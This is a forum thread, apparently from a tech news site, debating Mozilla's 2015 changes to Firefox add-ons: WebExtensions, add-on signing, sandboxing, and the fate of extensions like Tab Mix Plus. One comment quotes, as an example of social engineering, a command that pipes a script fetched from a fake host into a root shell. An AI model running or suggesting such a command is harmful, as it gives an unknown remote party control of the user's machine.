News for hackers. Stuff that matters.
Re:The Future of Developing Firefox Add-ons by wvenable on Friday August 21, 2015 @12:42PM (#10098674)
I use Tab Mix Plus for multi-row tabs in Firefox. It's so important to how I browse that it's the main reason why I use Firefox. If it goes away, then I have no reason to use Firefox.
Re:The Future of Developing Firefox Add-ons by Tobu on Friday August 21, 2015 @02:21PM (#10099308)
Tab Mix Plus is explicitly mentioned as something they'll support: https://wiki.mozilla.org/WebExtensions#Additional_APIs
Re:The Future of Developing Firefox Add-ons by wvenable on Friday August 21, 2015 @02:55PM (#10099529)
Lets be clear; they won't be supporting Tab Mix Plus. They will be providing an API that might allow something similar to be built by someone. This is a good thing but nothing is guaranteed.
Re:The Future of Developing Firefox Add-ons by brighteyes on Friday August 21, 2015 @03:26PM (#10099701)
It's not guaranteed, but they said they are hiring people to work with addon developers to update their addons. It seems very likely Tab Mix Plus would be on the top of that list, since it's already mentioned as an addon they want to work in the new model.
Re:The Future of Developing Firefox Add-ons by brighteyes on Friday August 21, 2015 @02:51PM (#10099507)
The blogpost should have led with that.

A lot of the discussion here is based off of people incorrectly assuming addons like that won't work.

Re:The Future of Developing Firefox Add-ons by the8472 on Friday August 21, 2015 @03:08PM (#10099603)
That still only covers extentensions that have already been invented.

It doesn't solve the problem of letting people tinker to discover the need for a new API in the first place.

Re:The Future of Developing Firefox Add-ons by brighteyes on Friday August 21, 2015 @03:14PM (#10099629)
You can still tinker when building firefox from source.

I agree it's not as convenient as the default builds being open to such modding, but that's the point - the default builds should be safer because 99% of users don't tinker.

Re:The Future of Developing Firefox Add-ons by the8472 on Friday August 21, 2015 @04:17PM (#10099958)
So it's ok to make life harder for 1% so the 99% have it easier?

And why make it "safer" for the 99%, considering they have been able to live with the current situation for years?

Shouldn't things be improved for everyone?

And aren't those 1% that tinker those who provide new stuff to the 99%?

Re:The Future of Developing Firefox Add-ons by pcwalton on Friday August 21, 2015 @04:23PM (#10099989)
> And why make it "safer" for the 99%, considering they have been able to live with the current situation for years?

It's hard for me to read this comment as anything other than "browser security is fine and people shouldn't bother trying to improve it".

Re:The Future of Developing Firefox Add-ons by the8472 on Friday August 21, 2015 @04:33PM (#10100036)
Well, fixing security bugs obviously is necessary. But that doesn't mean that features should be thrown out of the window in the name of security.

And I was mostly referring to mozilla's tendency to nanny its users.

For example the argument for extension signing is that users can't decide for themselves what to install. And that even side-loading from the operating system would be too dangerous because some users could get tricked (in my book that's a people problem, not a software problem).

And again, the argument for whitelisted, locked-down APIs for extensions is security, that giving extensions the same powers as native applications (which don't have to be signed) is unacceptable. Again, reducing features in the name of security.

Fixing privilege escalation attacks and nannying users so they don't apply foot-guns are two quite separate approaches to security in my opinion. Especially since the latter is onerous on powerusers while the former is not.

The restrictions weren't necessary in the past, the situation was clearly good enough for millions to start using browsers. Why is it necessary now?

Re:The Future of Developing Firefox Add-ons by pcwalton on Friday August 21, 2015 @04:55PM (#10100200)
> The restrictions weren't necessary in the past, the situation was clearly good enough for millions to start using browsers. Why is it necessary now?

Much of the impetus for this change is to make sandboxing possible. You need to be a multiprocess browser to be a sandboxed browser. Multiprocess Firefox is incompatible with many of the things that addons are doing right now. So, this statement is equivalent to "we didn't need sandboxing before; why do we need it now?" Is that what you're arguing?

Re:The Future of Developing Firefox Add-ons by the8472 on Friday August 21, 2015 @05:10PM (#10100288)
> Much of the impetus for this change is to make sandboxing possible.

The whole parade of extension signing, deprecating XUL, privileged extensions and XPCOM are all necessary to make sandboxed e10s processes work? I thought the child processes already are somewhat sandboxed right now.

> Multiprocess Firefox is incompatible with many of the things that addons are doing right now.

And yet a transition seems to be possible without telling developers "you will never ever be allowed to access internals again". It's more of an outreach thing "headsup, you should fix your addon".

And really, isn't that new deprecation and eventual no-AMO-approval policy equivalent to breaking them anyway? So why not just go ahead and break them and let those people tinker who don't mind occasional breakage.

> So, this statement is equivalent to "we didn't need sandboxing before; why do we need it now?" Is that what you're arguing?

To some extent, yes, but not quite. I'm asking why it is suddenly necessary to increase security at the expense of features.

But I'll follow that train of thought anyway: Is it necessary? Wouldn't it be sufficient to write safer, less exploitable software? Isn't that part of the goal of Rust for example?

Re:The Future of Developing Firefox Add-ons by pcwalton on Friday August 21, 2015 @05:23PM (#10100345)
> The whole parade of extension signing, deprecating XUL, privileged extensions and XPCOM are all necessary to make sandboxed e10s processes work? I thought the child processes already are somewhat sandboxed right now.

Reaching into content windows is forbidden in multiprocess Firefox. That alone is going to break tons of addons. This necessitates a redesign. Since a major redesign is necessary anyway, it makes sense to future-proof the architecture so that addons will work in perpetuity. Ultimately, this ends up being friendlier to addon developers, since addons will break once instead of again and again as the architecture evolves.

> Wouldn't it be sufficient to write safer, less exploitable software? Isn't that part of the goal of Rust for example?

A Rust-based browser engine will never replicate XUL and XPCOM, because no browser engine besides Gecko can replicate XUL and XPCOM. That is because XUL and XPCOM are too ill-specified and tied to the exact internals of Gecko. As long as add-ons are written to an unspecified, ad-hoc API, it'll be impossible to change the underlying technology, preventing adoption of things like Rust. In the end, that holds back browser security.

Re:The Future of Developing Firefox Add-ons by brighteyes on Friday August 21, 2015 @05:23PM (#10100349)
You make a good point that software not written in C++ might need less security hardening elsewhere.

But sadly, the reality is that Firefox, Chrome, Safari and Edge are all massive C++ codebases, with lots of security problems. Until we fix that, browsers will need to protect their users as best they can, and that means removing dangers like unsigned addons, overly-flexible addon APIs, and so forth.

Perhaps some users would be ok with a browser with less security and more flexibility. But by default, browsers should be safe, since 99% of users don't understand software and much less software security.

Re:The Future of Developing Firefox Add-ons by mburns on Friday August 21, 2015 @04:42PM (#10100100)
Just because we existed without them before doesn't mean the restrictions weren't needed.

We always needed Sandboxing and multi-process Firefox, even though we were able to get by without it for years. Likewise, side-loaded add-ons that can steal your information are a legit security threat, even if you think you're such a smart user that you could somehow avoid ever being burned by it.

Re:The Future of Developing Firefox Add-ons by the8472 on Friday August 21, 2015 @04:53PM (#10100179)
> side-loaded add-ons that can steal your information are a legit security threat

How so? Sideloading means OS-level access. OS-level access means your whole user account is already compromised if it was malicious software.

There is no additional security gained by preventing side-loading after malicious software already got into your system.

If someone social-engineers you into "install this .xpi" they might as well manage to trick you into "run this .jar" or "run this .exe" or please "curl http://pleaseexploit.me/ | sudo bash" to check out our newest software!

Re:The Future of Developing Firefox Add-ons by Tobu on Friday August 21, 2015 @05:23PM (#10100348)
OSes are getting hardened with a per-app security model (instead of per-account which you describe). Hardening Firefox so that it won't compromise itself through XPI (which are opaque to the OS) is part of a defense in depth strategy. Security policies can prevent applications from scribbling over each other's memories as a general rule, whereas attaching security labels to profile directories requires targeted policies that are much more fragile and full of false positives.
Re:The Future of Developing Firefox Add-ons by brighteyes on Friday August 21, 2015 @05:17PM (#10100315)
> So it's ok to make life harder for 1% so the 99% have it easier?

Generally speaking - yes.

Making a browser safer for 99% of people might be worth making the experience of 1% a little less flexible.

Unless you can find a solution that makes 100% of people happy, we will always have such tradeoffs. And so far, no browser has found such a solution for addons.

Re:The Future of Developing Firefox Add-ons by hugoc on Friday August 21, 2015 @02:37PM (#10099431)
That and Tree Style Tabs are the reason I left Chrome. The path that firefox has been on for the last few months is sad.
Re:The Future of Developing Firefox Add-ons by thom_nic on Friday August 21, 2015 @01:03PM (#10098818)
I was thinking the same thing. Tab Mix Plus sounds like one of those extensions that might not be doable under the new API... Which would explain why there's no chrome version.

Also the main reason why I use Firefox as well... This window has 20 tabs open :)

Re:The Future of Developing Firefox Add-ons by wvenable on Friday August 21, 2015 @01:07PM (#10098849)
Doing research phases I can have 100 tabs open -- although only 30-40 actually fit on the screen at once (3 rows). Even if Tax Mix Plus was ever doable under the new API (and it won't be), somebody has to write it, test it, and maintain it. I'm not confident that will happen. The churn is just tossing out a lot of existing code and might never be replaced.

I just turned off automatic updates. It's sad that all good things do eventually come to an end.